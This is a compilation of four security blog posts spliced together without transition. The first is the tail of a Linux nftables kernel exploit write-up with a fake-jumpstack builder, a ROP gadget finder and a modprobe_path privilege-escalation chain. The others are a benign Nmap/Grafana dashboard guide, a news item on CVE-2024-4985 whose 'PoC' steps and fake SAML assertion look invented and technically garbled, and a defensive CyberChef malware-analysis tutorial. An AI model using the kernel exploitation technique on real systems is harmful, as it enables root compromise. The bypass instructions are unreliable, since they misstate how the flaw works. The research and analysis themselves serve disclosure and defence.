[ 1849.727034] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1849.727034] CR2: 000055e3168e4078 CR3: 0000000003210000 CR4: 00000000000006e0

Let’s explore the nft_do_chain routine to understand what happened:

/* net/netfilter/nf_tables_core.c */

unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv) {
	const struct nft_chain *chain = priv, *basechain = chain;
	const struct nft_rule_dp *rule, *last_rule;
	const struct net *net = nft_net(pkt);
	const struct nft_expr *expr, *last;
	struct nft_regs regs = {};
	unsigned int stackptr = 0;
	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
	bool genbit = READ_ONCE(net->nft.gencursor);
	struct nft_rule_blob *blob;
	struct nft_traceinfo info;

	info.trace = false;
	if (static_branch_unlikely(&nft_trace_enabled))
		nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
	if (genbit)
		blob = rcu_dereference(chain->blob_gen_1);       // Get correct chain generation
	else
		blob = rcu_dereference(chain->blob_gen_0);

	rule = (struct nft_rule_dp *)blob->data;          // Get fist and last rules in chain
	last_rule = (void *)blob->data + blob->size;
next_rule:
	regs.verdict.code = NFT_CONTINUE;
	for (; rule < last_rule; rule = nft_rule_next(rule)) {   // 3. for each rule in chain
		nft_rule_dp_for_each_expr(expr, last, rule) {    // 4. for each expr in rule
			...
			expr_call_ops_eval(expr, &regs, pkt);    // 5. expr->ops->eval()

			if (regs.verdict.code != NFT_CONTINUE)
				break;
		}

		...
		break;
	}

	...
switch (regs.verdict.code) {
	case NFT_JUMP:
		/*
			1. If we're jumping to the next chain, store a pointer to the next rule of the 
      current chain in the jumpstack, increase the stack pointer and switch chain
		*/
		if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
			return NF_DROP;	
		jumpstack[stackptr].chain = chain;
		jumpstack[stackptr].rule = nft_rule_next(rule);
		jumpstack[stackptr].last_rule = last_rule;
		stackptr++;
		fallthrough;
	case NFT_GOTO:
		chain = regs.verdict.chain;
		goto do_chain;
	case NFT_CONTINUE:
	case NFT_RETURN:
		break;
	default:
		WARN_ON_ONCE(1);
	}
	/*
		2. If we got here then we completed the latest chain and can now evaluate
		the next rule in the previous one
	*/
	if (stackptr > 0) {
		stackptr--;
		chain = jumpstack[stackptr].chain;
		rule = jumpstack[stackptr].rule;
		last_rule = jumpstack[stackptr].last_rule;
		goto next_rule;
	}
		...

The first 8 jumps fall into case 1. where the NFT_JUMP verdict increases stackptr to align it with our controlled elements, then, on the 9th jump, we overwrite the 8th element containing the next rule and return from the current chain landing on the corrupted one. At 2. the stack pointer is decremented and control is returned to the previous chain.
Finally, the next rule in chain 8 gets dereferenced at 3: nft_rule_next(rule), too bad we just filled it with 0x42s, causing the protection fault.

2.2.2 Controlling the execution flow

Other than the rule itself, there are other pointers that should be taken care of to prevent the kernel from crashing, especially the ones dereferenced by nft_rule_dp_for_each_expr when looping through all rule expressions:

/* net/netfilter/nf_tables_core.c */

#define nft_rule_expr_first(rule)	(struct nft_expr *)&rule->data[0]
#define nft_rule_expr_next(expr)	((void *)expr) + expr->ops->size
#define nft_rule_expr_last(rule)	(struct nft_expr *)&rule->data[rule->dlen]
#define nft_rule_next(rule)		(void *)rule + sizeof(*rule) + rule->dlen

#define nft_rule_dp_for_each_expr(expr, last, rule) \
        for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \
             (expr) != (last); \
             (expr) = nft_rule_expr_next(expr))
  1. nft_do_chain requires rule to be smaller than last_rule to enter the outer loop. This is not an issue as we control both fields in the 8th element. Furthermore, rule will point to another address in the jumpstack we control as to reference valid memory.
  2. nft_rule_dp_for_each_expr thus calls nft_rule_expr_first(rule) to get the first expr from its data buffer, 8 bytes after rule. We can discard the result of nft_rule_expr_last(rule) since it won’t be dereferenced during the attack.
(remote) gef➤ p (int)&((struct nft_rule_dp *)0)->data
$29 = 0x8
(remote) gef➤ p *(struct nft_expr *) rule->data
$30 = {
  ops = 0xffffffff82328780,
  data = 0xffff888003788a38 "1374\377\377\377"
}
(remote) gef➤ x/101 0xffffffff81a4fbdf
=> 0xffffffff81a4fbdf <nft_do_chain+143>:   cmp   r12,rbp
0xffffffff81a4fbe2 <nft_do_chain+146>:      jae   0xffffffff81a4feaf
0xffffffff81a4fbe8 <nft_do_chain+152>:      movz  eax,WORD PTR [r12]                  <== load rule into eax
0xffffffff81a4fbed <nft_do_chain+157>:      lea   rbx,[r12+0x8]                       <== load expr into rbx
0xffffffff81a4fbf2 <nft_do_chain+162>:      shr   ax,1
0xffffffff81a4fbf5 <nft_do_chain+165>:      and   eax,0xfff
0xffffffff81a4fbfa <nft_do_chain+170>:      lea   r13,[r12+rax*1+0x8]
0xffffffff81a4fbff <nft_do_chain+175>:      cmp   rbx,r13
0xffffffff81a4fc02 <nft_do_chain+178>:      jne   0xffffffff81a4fce5 <nft_do_chain+405>
0xffffffff81a4fc08 <nft_do_chain+184>:      jmp   0xffffffff81a4fed9 <nft_do_chain+905>

3. nft_do_chain calls expr->ops->eval(expr, regs, pkt); via expr_call_ops_eval(expr, &regs, pkt), so the dereference chain has to be valid and point to executable memory. Fortunately, all fields are at offset 0, so we can just place the expr, ops and eval pointers all next to each other to simplify the layout.

(remote) gef➤ x/4i 0xffffffff81a4fcdf
0xffffffff81a4fcdf <nft_do_chain+399>:      je    0xffffffff81a4feef <nft_do_chain+927>
0xffffffff81a4fce5 <nft_do_chain+405>:      mov   rax,QWORD PTR [rbx]                <== first QWORD at expr is expr->ops, store it into rax
0xffffffff81a4fce8 <nft_do_chain+408>:      cmp   rax,0xffffffff82328900 
=> 0xffffffff81a4fcee <nft_do_chain+414>:   jne   0xffffffff81a4fc0d <nft_do_chain+189>
(remote) gef➤ x/gx $rax
0xffffffff82328780 :    0xffffffff81a65410
(remote) gef➤ x/4i 0xffffffff81a65410
0xffffffff81a65410 <nft_immediate_eval>:    movzx eax,BYTE PTR [rdi+0x18]            <== first QWORD at expr->ops points to expr->ops->eval
0xffffffff81a65414 <nft_immediate_eval+4>:  movzx ecx,BYTE PTR [rdi+0x19]
0xffffffff81a65418 <nft_immediate_eval+8>:  mov   r8,rsi
0xffffffff81a6541b <nft_immediate_eval+11>: lea   rsi,[rdi+0x8]

In order to preserve as much space as possible, the layout for stack pivoting can be arranged inside the registers before the overflow. Since these values will be copied inside the jumpstack, we have enough time to perform the following steps:

  1. Setup a stack pivot payload to NFT_REG32_00 by repeatedly invoking nft_rule_immediate expressions as shown above. Remember that we had leaked the regs address.
  2. Add the vulnerable nft_rule_payload expression that will later overflow the jumpstack with the previously added registers.
  3. Refill the registers with a ROP chain to elevate privileges with nft_rule_immediate.
  4. Trigger the overflow: code execution will start from the jumpstack and then pivot to the ROP chain starting from NFT_REG32_00.

By following these steps we managed to store the eval pointer and the stack pivot routine on the jumpstack, which would’ve otherwise filled up the regs too quickly.
In fact, without this optimization, the required space would be:
8 (rule) + 8 (expr) + 8 (eval) + 64 (ROP chain) = 88 bytes
Unfortunately, the regs buffer can only hold 64 bytes.

By applying the described technique we can reduce it to:

  • jumpstack: 8 (rule) + 8 (expr) + 8 (eval) = 24 bytes
  • regs: 64 bytes (ROP chain) which will fit perfectly in the available space.

Here is how I crafted the fake jumpstack to achieve initial code execution:

struct jumpstack_t fill_jumpstack(unsigned long regs, unsigned long kaslr) 
{
    struct jumpstack_t jumpstack = {0};
    /*
        align payload to rule
    */
    jumpstack.init = 'A';
    /*
        rule->expr will skip 8 bytes, here we basically point rule to itself + 8
    */
    jumpstack.rule =  regs + 0xf0;
    jumpstack.last_rule = 0xffffffffffffffff;
    /*
        point expr to itself + 8 so that eval() will be the next pointer
    */
    jumpstack.expr = regs + 0x100;
    /*
        we're inside nft_do_chain and regs is declared in the same function,
        finding the offset should be trivial: 
        stack_pivot = &NFT_REG32_00 - RSP
        the pivot will add 0x48 to RSP and pop 3 more registers, totaling 0x60
    */
    jumpstack.pivot = 0xffffffff810280ae + kaslr;
    unsigned char pad[31] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    strcpy(jumpstack.pad, pad);
    return jumpstack;
}

2.2.3 Getting UID 0

The next steps consist in finding the right gadgets to build up the ROP chain and make the exploit as stable as possible.

There exist several tools to scan for ROP gadgets, but I found that most of them couldn’t deal with large images too well. Furthermore, for some reason, only ROPgadget manages to find all the stack pivots in function epilogues, even if it prints them as static offset. Out of laziness, I scripted my own gadget finder based on objdump, that would be useful for short relative pivots (rsp + small offset):

#!/bin/bash

objdump -j .text -M intel -d linux-6.1.6/vmlinux > obj.dump
grep -n '48 83 c4 30' obj.dump | while IFS=":" read -r line_num line; do
        ret_line_num=$((line_num + 7))
        if [[ $(awk "NR==$ret_line_num" obj.dump | grep ret) =~ ret ]]; then
                out=$(awk "NR>=$line_num && NR<=$ret_line_num" obj.dump)
                if [[ ! $out == *"mov"* ]]; then
                        echo "$out"
                        echo -e "\n-----------------------------"
                fi
        fi
done

In this example case we’re looking to increase rsp by 0x60, and our script will find all stack cleanup routines incrementing it by 0x30 and then popping 6 more registers to reach the desired offset:

ffffffff8104ba47:    48 83 c4 30       add гsp, 0x30
ffffffff8104ba4b:    5b                pop rbx
ffffffff8104ba4c:    5d                pop rbp
ffffffff8104ba4d:    41 5c             pop r12
ffffffff8104ba4f:    41 5d             pop г13
ffffffff8104ba51:    41 5e             pop r14
ffffffff8104ba53:    41 5f             pop r15
ffffffff8104ba55:    e9 a6 78 fb 00    jmp ffffffff82003300 <____x86_return_thunk>

Even though it seems to be calling a jmp, gdb can confirm that we’re indeed returning to the saved rip via ret:

(remote) gef➤ x/10i 0xffffffff8104ba47
0xffffffff8104ba47 <set_cpu_sibling_map+1255>:    add   rsp,0x30
0xffffffff8104ba4b <set_cpu_sibling_map+1259>:    pop   rbx
0xffffffff8104ba4c <set_cpu_sibling_map+1260>:    pop   rbp
0xffffffff8104ba4d <set_cpu_sibling_map+1261>:    pop   r12
0xffffffff8104ba4f <set_cpu_sibling_map+1263>:    pop   r13
0xffffffff8104ba51 <set_cpu_sibling_map+1265>:    pop   r14
0xffffffff8104ba53 <set_cpu_sibling_map+1267>:    pop   r15
0xffffffff8104ba55 <set_cpu_sibling_map+1269>:    ret

Of course, the script can be adjusted to look for different gadgets.

Now, as for the privesc itself, I went for the most convenient and simplest approach, that is overwriting the modprobe_path variable to run a userland binary as root. Since this technique is widely known, I’ll just leave an in-depth analysis here:
We’re assuming that STATIC_USERMODEHELPER is disabled.

In short, the payload does the following:

  1. pop rax; ret : Set rax = /tmp/runme where runme is the executable that modprobe will run as root when trying to find the right module for the specified binary header.
  2. pop rdi; ret: Set rdi = &modprobe_path, this is just the memory location for the modprobe_path global variable.
  3. mov qword ptr [rdi], rax; ret: Perform the copy operation.
  4. mov rsp, rbp; pop rbp; ret: Return to userland.

While the first three gadgets are pretty straightforward and common to find, the last one requires some caution. Normally a kernel exploit would switch context by calling the so-called KPTI trampoline swapgs_restore_regs_and_return_to_usermode, a special routine that swaps the page tables and the required registers back to the userland ones by executing the swapgs and iretq instructions.
In our case, since the ROP chain is running in the softirq context, I’m not sure if using the same method would have worked reliably, it’d probably just be better to first return to the syscall context and then run our code from userland.

Here is the stack frame from the ROP chain execution context:

gef➤ bt
#0 nft_payload_eval (expr=0xffff888805e769f0, regs=0xffffc90000083950, pkt=0xffffc90000883689) at net/netfilter/nft_payload.c:124
#1 0xffffffff81c2cfa1 in expr_call_ops_eval (pkt=0xffffc90000083b80, regs=0xffffc90000083950, expr=0xffff888005e769f0)
#2 nft_do_chain (pkt=pkt@entry=0xffffc90000083b80, priv=priv@entry=0xffff888005f42a50) at net/netfilter/nf_tables_core.c:264
#3 0xffffffff81c43b14 in nft_do_chain_netdev (priv=0xffff888805f42a50, skb=, state=)
#4 0xffffffff81c27df8 in nf_hook_entry_hookfn (state=0xffffc90000083c50, skb=0xffff888005f4a200, entry=0xffff88880591cd88)
#5 nf_hook_slow (skb=skb@entry=0xffff888005f4a200, state-state@entry=0xffffc90808083c50, e=e@entry=0xffff88800591cd00, s=s@entry=0...
#6 0xffffffff81b7abf7 in nf_hook_ingress (skb=) at ./include/linux/netfilter_netdev.h:34
#7 nf_ingress (orig_dev=0xffff888005ff0000, ret=, pt_prev=, skb=) at net/core,
#8 ___netif_receive_skb_core (pskb=pskb@entry=0xffffc90000083cd0, pfmemalloc=pfmemalloc@entry=0x0, ppt_prev=ppt_prev@entry=0xffffc9...
#9 0xffffffff81b7b0ef in _netif_receive_skb_one_core (skb=, pfmemalloc=pfmemalloc@entry=0x0) at net/core/dev.c:548
#10 0xffffffff81b7b1a5 in ___netif_receive_skb (skb=) at net/core/dev.c:5603
#11 0xffffffff81b7b40a in process_backlog (napi=0xffff888007a335d0, quota=0x40) at net/core/dev.c:5931
#12 0xffffffff81b7c013 in ___napi_poll (n=n@entry=0xffff888007a335d0, repoll=repoll@entry=0xffffc90000083daf) at net/core/dev.c:6498
#13 0xffffffff81b7c493 in napi_poll (repoll=0xffffc90000083dc0, n=0xffff888007a335d0) at net/core/dev.c:6565
#14 net_rx_action (h=) at net/core/dev.c:6676
#15 0xffffffff82280135 in ___do_softirq () at kernel/softirq.c:574

Any function between the last corrupted one and __do_softirq would work to exit gracefully. To simulate the end of the current chain evaluation we can just return to nf_hook_slow since we know the location of its rbp.

Yes, we should also disable maskable interrupts via a cli; ret gadget, but we wouldn’t have enough space, and besides, we will be discarding the network interface right after.

To prevent any deadlocks and random crashes caused by skipping over the nft_do_chain function, a NFT_MSG_DELTABLE message is immediately sent to flush all nftables structures and we quickly exit the program to disable the network interface connected to the new network namespace.
Therefore, gadget 4 just pops nft_do_chain’s rbp and runs a clean leave; ret, this way we don’t have to worry about forcefully switching context.
As soon as execution is handed back to userland, a file with an unknown header is executed to trigger the executable under modprobe_path that will add a new user with UID 0 to /etc/passwd.

While this is in no way a data-only exploit, notice how the entire exploit chain lives inside kernel memory, this is crucial to bypass mitigations:

  • KPTI requires page tables to be swapped to the userland ones while switching context, __do_softirq will take care of that.
  • SMEP/SMAP prevent us from reading, writing and executing code from userland while in kernel mode. Writing the whole ROP chain in kernel memory that we control allows us to fully bypass those measures as well.

2.3. Patching the tables

Patching this vulnerability is trivial, and the most straightforward change has been approved by Linux developers:

@@ -63,7 +63,7 @@ nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
			return false;

		if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
-			ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+			ethlen -= offset + len - VLAN_ETH_HLEN - vlan_hlen;

		memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

While this fix is valid, I believe that simplifying the whole expression would have been better:

@@ -63,7 +63,7 @@ nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
			return false;

		if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
-			ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+			ethlen = VLAN_ETH_HLEN + vlan_hlen - offset;

		memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

since ethlen is initialized with len and is never updated.

The vulnerability existed since Linux v5.5-rc1 and has been patched with commit 696e1a48b1a1b01edad542a1ef293665864a4dd0 in Linux v6.2-rc5.

One possible approach to making this vulnerability class harder to exploit involves using the same randomization logic as the one in the kernel stack (aka per-syscall kernel-stack offset randomization): by randomizing the whole kernel stack on each syscall entry, any KASLR leak is only valid for a single attempt. This security measure isn’t applied when entering the softirq context as a new stack is allocated for those operations at a static address.

You can find the PoC with its kernel config on my Github profile. The exploit has purposefully been built with only a specific kernel version in mind, as to make it harder to use it for illicit purposes. Adapting it to another kernel would require the following steps:

  • Reshaping the kernel leak from the nft registers,
  • Finding the offsets of the new symbols,
  • Calculating the stack pivot length
  • etc.

In the end this was just a side project, but I’m glad I was able to push through the initial discomforts as the final result is something I am really proud of. I highly suggest anyone interested in kernel security and CTFs to spend some time auditing the Linux kernel to make our OSs more secure and also to have some fun!
I’m writing this article one year after the 0-day discovery, so I expect there to be some inconsistencies or mistakes, please let me know if you spot any.

I want to thank everyone who allowed me to delve into this research with no clear objective in mind, especially my team @ Betrusted and the HackInTheBox crew for inviting me to present my experience in front of so many great people! If you’re interested, you can watch my presentation here:

Nmap Dashboard with Grafana

Original text by hackertarget

Generate an Nmap Dashboard using Grafana and Dockerto get a clear overview of the network and open services.

This weekend’s project uses a similar technique to the previous Zeek Dashboard to build an easy to deploy dashboard solution for Nmap results. 

Building small deployments like this gives the operator a greater understanding of how the tools work, developing skills that can be used to implement custom solutions for your specific use cases.

Explore the Nmap Dashboard, and dig deeper into your network analysis.

Introduction to Nmap Visualisation

Nmap is a well known port scanner to find open network services. Not only finding open ports Nmap is able to identify services, operating system and much more. These insights allow you to develop a detailed picture of the network or system. When viewing a single host the standard Nmap output options are sufficient but when you are analysing multiple hosts and perhaps even the same host over time it becomes more difficult.

By parsing the Nmap XML and populating an SQLite database we can use a Grafana Dashboard to analyse the data.

A primary aim of these  mini projects is to demonstrate how combining open source tools and building simple data processing pipelines we can create elegant solutions with real world use cases. At the same time the analyst or administrator will build valuable skills integrating the tools.

Generating the SQLite Data Source

First up we need some Nmap results in XML format. You can run any 

nmap
 command with 
-oA myoutput
 to generate XML output. This generates output in all (A) forms including XML.

user@ubuntu:~$ sudo nmap -sV -F --script=http-title,ssl-cert -oA myoutput 10.0.0.0/24

This command will create a file 

myoutput.xml
. The two scripts we are using here (http-title / ssl-cert) are non-intrusive but can provide valuable insight into the service. The script and dashboard include queries to parse the results from these two scripts. It would be easy enough to extend the python script and dashboard queries to customise for a specific use case with other scripts such as Microsoft SMB or other protocols.

git clone https://github.com/hackertarget/nmap-did-what.git

To parse the 

myoutput.xml
 file and create the SQLite DB we will run the included python script.

user@ubuntu:~$ cp myoutput.xml nmap-did-what/data/
user@ubuntu:~$ cd nmap-did-what/data/
user@ubuntu:~/nmap-did-what/data$ python3 nmap-to-sqlite.py myoutput.xml
user@ubuntu:~/nmap-did-what/data$ ls
nmap_results.db myoutput.xml

The sequence of commands above generates the 

nmap_results.db
 from the XML. Running the script again on other Nmap XML will append to the database. So simply run it against any results you wish to analyse.

Note the 

nmap_results.db
 listed above, this is the 
sqlite
 database. The Grafana Dashboard is pre-configured with this DB as a data source and located in 
/data/
 in the container.

Grafana and Docker Compose

Now that we have our SQLite datasource with the Nmap data. We can start up the Grafana docker container and start our analysis.

Rather than install Grafana from scratch, this guide covers using docker to deploy a usable system in as little as a few minutes. The 

docker-compose
 config builds Grafana with a custom Nmap Dashboard and the SQLite data source installed.

user@ubuntu:~$ cd nmap-did-what/grafana-docker/
user@ubuntu:~/nmap-did-what/grafana-docker$ sudo docker-compose up -d
user@ubuntu:~/nmap-did-what/grafana-docker$ sudo docker ps -a
CONTAINER ID   IMAGE             COMMAND       CREATED         STATUS                      PORTS                                       NAMES
daba724a6548   grafana/grafana   "/run.sh"     1 hours ago    Up 1 hours                 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp   grafana

If you wish to customise the build, simply review the 

docker-compose.yml
 file. The 
dashboards
 and 
data sources
directories contain the configuration information for the creation of the SQLite data source and the Nmap Dashboard within the newly created Grafana container. These files could be extend to build multiple dashboards or use other data sources.

Accessing Grafana and Nmap Dashboard

Grafana should now be running on its default port of 3000, so from your browser access https://127.0.0.1:3000 (or whichever IP you are running on).

The initial login will be admin/admin. This will need to be changed on first login. The authentication information and any changes to the Grafana configuration will be saved in the Grafana storage that was created with the 

docker-compose.yml
. The 
grafana-storage
 directory contains the running Grafana information. You can stop and start the docker container with changes being saved. If you remove this data the login credentials, and any changes to the Grafana configuration from the web console will be removed.

After accessing the Dashboard, the first thing you may need to change to see the data will be date range. Nmap data will be accessible and able to be filtered based on the date / time.

Using cron or a scheduled task you could run Nmap periodically and update the SQLite DB building a real time dashboard that displays your current network status and running services.

Conclusion

In this post, we explored the powerful combination of Nmap and Grafana for network monitoring and visualization. By leveraging Nmap’s network scanning and Grafana’s intuitive dashboard creation, we were able to get a detailed picture of our network, identify services and operating systems.

CVE-2024-4985 (CVSS 10): Critical Authentication Bypass Flaw Found in GitHub Enterprise Server

CVE-2024-4985 (CVSS 10): Critical Authentication Bypass Flaw Found in GitHub Enterprise Server

GitHub, the world’s leading software development platform, has disclosed a critical security vulnerability (CVE-2024-4985) in its self-hosted GitHub Enterprise Server (GHES) product. The vulnerability, which carries a maximum severity rating of 10 on the Common Vulnerability Scoring System (CVSS), could allow attackers to bypass authentication and gain unauthorized access to sensitive code repositories and data.

GitHub Enterprise Server is the self-hosted version of GitHub Enterprise, tailored for businesses seeking a secure and customizable environment for source code management. Installed on an organization’s own servers or private cloud, it enables collaborative development while providing robust security and administrative controls.

The flaw resides in the optional encrypted assertions feature of GHES’s SAML single sign-on (SSO) authentication mechanism. This feature, designed to enhance security, ironically became a weak link when an attacker could forge a SAML response, impersonating a legitimate user and potentially gaining administrator privileges.

This vulnerability was discovered through GitHub’s Bug Bounty program, which rewards security researchers for identifying and reporting vulnerabilities.

It is important to note that the vulnerability only affects instances where SAML SSO is enabled with encrypted assertions, which are not activated by default. Therefore, organizations not using SAML SSO or those using SAML SSO without encrypted assertions are not impacted by this security flaw.

The primary danger posed by CVE-2024-4985 is the ability of an attacker to gain unauthorized access to GHES instances. By forging a SAML response, attackers can effectively bypass authentication mechanisms and provision accounts with site administrator privileges. For organizations utilizing the vulnerable configuration, the consequences of exploitation could be dire, including unauthorized access to source code, data breaches, and potential disruption of development operations.

GitHub has acted swiftly to address the issue, releasing patches for versions 3.9.153.10.123.11.10, and 3.12.4 of GHES. Administrators are strongly urged to update their installations immediately to mitigate the risk of compromise.

Technical vulnerability details:

The vulnerability exploits a vulnerability in the way GHES handles encrypted SAML claims. An attacker could create a fake SAML claim that contains correct user information. When GHES processes a fake SAML claim, it will not be able to validate its signature correctly, allowing an attacker to gain access to the GHES instance.

Poc: https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server

Steps:

  • Open your penetration tester.
  • Create a Web Connection Request.
  • Select the «GET» request type.
  • Enter your GHES URL.
  • Add a fake SAML Assertion parameter to your request. You can find an example of a fake SAML Assertion parameter in the GitHub documentation.
  • Check the GHES response.
  • If the response contains an HTTP status code of 200, it has successfully bypassed authentication using the fake SAML Assertion parameter.
  • If the response contains a different HTTP status code, it did not succeed in bypassing authentication.

Note: I’m going to synthesize an example using a dummy URL (https://your-ghes-instance.com). Be sure to replace it with your real GHES URL. In this example, we’ll assume that your GHES URL is https://your-ghes-instance.com. We’ll use a fake SAML Assertion parameter that looks like this:

<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
  <Audience>https://your-ghes-instance.com</Audience>
  <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
    <SubjectConfirmationData>
      <NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
    </SubjectConfirmationData>
  </SubjectConfirmation>
  <AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
    <AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
  </AttributeStatement>
</Assertion>

Advanced CyberChef Techniques For Malware Analysis — Detailed Walkthrough and Examples

Advanced CyberChef Techniques For Malware Analysis - Detailed Walkthrough and Examples

Original by Matthew

We’re all used to the regular CyberChef operations like «From Base64», From Decimal and the occasional magic decode or xor. But what happens when we need to do something more advanced?

Cyberchef contains many advanced operations that are often ignored in favour of Python scripting. Few are aware of the more complex operations of which Cyberchef is capable. These include things like Flow Control, Registers and various Regular Expression capabilities. 

In this post. We will break down some of the more advanced CyberChef operations and how these can be applied to develop a configuration extractor for a multi-stage malware loader. 

Examples of Advanced Operations in CyberChef

Before we dive in, let’s look at a quick summary of the operations we will demonstrate. 

  • Registers 
  • Regular Expressions and Capture Groups
  • Flow Control Via Forking and Merging
  • Merging
  • Subtraction
  • AES Decryption

After demonstrating these individually to show the concepts, we will combine them all to develop a configuration extractor for a multi-stage malware sample.

Obtaining the Sample 

The sample demonstrated can be found on Malware Bazaar with

SHA256:<strong>befc7ebbea2d04c14e45bd52b1db9427afce022d7e2df331779dae3dfe85bfab</strong>

Advanced Operation 1 — Registers

Registers allow us to create variables within the CyberChef session and later reference them when needed. 

Registers are defined via a regular expression capture group and allow us to create a variable with an unknown value that fits a known pattern within the code. 

How To Use Registers in CyberChef

Below we have a Powershell script utilising AES decryption. 

Traditionally, this is easy to decode using CyberChef by manually copying out the key value and pasting it into an «AES Decrypt» Operation.

We can see the key copied into an AES Decrypt operation.

This method of manually copying out the key works effectively, however this means that the key is «hardcoded» and the recipe will not apply to similar samples using the same technique. 

If another sample utilises a different key, then this new key will need to be manually updated for the CyberChef recipe to work. 

Registers Example 1 

By utilising a «Register» operation, we can develop a regular expression to match the structure of the AES key and later access this via a register variable like 

$R0
to

The AES key, in this case, is a 44-character base64 string, hence we can use a base64 regular expression of 44-46 characters to extract the AES Key. 

We can later access this via the $R0 variable inside of the AES Decrypt operation.

Registers Example 2

In a previous stage of the same sample, the malware utilises a basic subtract operation to create ASCII char codes from an array of large integers.

Traditionally, this would be decoded by manually copying out the 787 value and applying this to a subtract operation. 

However, again, this causes issues if another sample utilises the same technique but with a different value. 

A better method is to create another register with a regular expression that matches the 787 value. 

Here we can see an example of this, where a Register has been used to locate and store the 787 value inside of $R0. This can later be referenced in a subtract operation by referencing $R0.

Regular Expressions

Regular expressions are frustrating, tedious and difficult to learn. But they are extremely powerful and you should absolutely learn them in order to improve your Cyberchef and malware analysis capability. 

In the development of this configuration extractor, regular expressions are applied in 10 separate operations. 

Regular Expressions — Use Case 1 (Registers)

The first use of regular expressions is inside of the initial register operation. 

Here, we have applied a regex to extract a key value used later as part of the deobfuscation process. 

The key use of regex here is to generically capture keys related to the decoding process, avoiding the need to hardcode values and allowing the recipe to work across multiple samples.

How To Use Regular Expressions to Isolate Text

The second use of regular expressions in this recipe is to isolate the main array of integers containing the second stage of the malware. 

The second stage is stored inside a large array of decimal values separated by commas and contained in round brackets. 

By specifying this inside of a regex, we can extract and isolate the large array and effectively ignore the rest of the code. This is in contrast to manually copying out the array and starting a new recipe.


A key benefit here is the ability to isolate portions of the code without needing to copy and paste. This enables you to continue working inside of the same recipe

Regular Expressions — Use Case 3 (Appending Values)

Occasionally you will need to append values to individual lines of output. 

In these cases, a regular expression can be utilised to capture an entire line 

(.*)
 and then replace it with the same value (via capture group referenced in $1) followed by another value (our initial register). 

The key use case is the ability to easily capture and append data, which is essential for operations like the subtract operator which will be later used in this recipe.

Regular Expressions — Use Case 4 (Extracting Encryption Keys)

We can utilise regular expressions inside of register operations to extract encryption keys and store these inside of variables. 

Here, we can see the 44-character AES key stored inside of the $R1 register. 

This is effective as the key is stored in a particular format across samples. Leveraging regex allows us to capture this format (44 char base64 inside single quotes) without needing to worry about the exact value.

Using Regular Expressions To Extract Base64 Text

Regular expressions can be used to isolate base64 text containing content of interest. 

This particular sample stores the final malware stage inside of a large AES Encrypted and Base64 encoded blob. 

Since we have already extracted the AES key via registers, we can apply the regex to isolate the primary base64 blob and later perform the AES Decryption.

Regular Expressions — Use Case 6 (Extracting Initial Characters)

This sample utilises the first 16 bytes of the base64 decoded content to create an IV for the AES decryption. 

We can leverage regular expressions and registers to extract out the first 16 bytes of the decoded content using 

.{16}

This enables us to capture the IV and later reference it via a register to perform the AES Decryption.

Using Regular Expressions To Remove Trailing Null-Bytes

Regular expressions can be used to remove trailing null bytes from the end of data. 

This is particularly useful as sometimes we only want to remove null bytes at the «end» of data. Whereas a traditional «remove null bytes» will remove null bytes everywhere in the code. 

In the sample here, there are trailing null bytes that are breaking a portion of the decryption process.

By applying a null byte search  

\0+$
 we can use a find/replace to remove these trailing null bytes. 

In this case, the 

\0+
 looks for one or more null bytes, and the 
$
 specifies that this must be at the end of the data.

After applying this operation, the trailing null bytes are now removed from the end of the data.

How To Use a Fork in CyberChef

Forking allows us to separate values and act on each independently as if they were a separate recipe. 

In the use case below, we have a large array of decimal values, and we need to subtract 787 from every single one. A major issue here is that in order to subtract 787, we need to append 787 after every single decimal value in the screenshot below. This would be a nightmare to do by hand.

As the data is structured and separated by commas, we can apply a forking operation with a split delimiter of commas and a merge delimiter of newlines. 

The split delimiter is whatever separates the values in your data, but the merge delimiter is how you want your new data structured.

At this point, every new line represents a new input data, and all future operations will act on each line independently.

If we now apply a find-replace operation, we can see that the operation has affected each line individually.

If we had applied the same concept without a fork, only a single 787 would have been added to the end of the entire blob of decimal data.

After applying the find/replace, we can continue to apply a subtraction operation and a «From Decimal». 

This reveals the decoded text and the next stage of the malware.

Note that the «Merge Delimiter» mentioned previously is purely a matter of formatting. 

Once you have decoded your content, as in the screenshot above, you will want to remove the merge delimiter to ensure that all the decoded content is together. 

We can see the full script after removing the merge delimiter.

How To Apply a Merge Operation in CyberChef

merge
 operation is essentially an «undo» for fork operations.

After successfully decoding content using a fork, you should apply a 

merge
 to ensure that the new content can be analysed appropriately. 

Without a merge, all future operations would affect only a single character and not the entire script.

Cyberchef is capable of AES Decryption via the AES Decrypt operation. 

To utilise AES decryption, look for the key indicators of AES inside of malware code and align all the variables with the AES operation. 

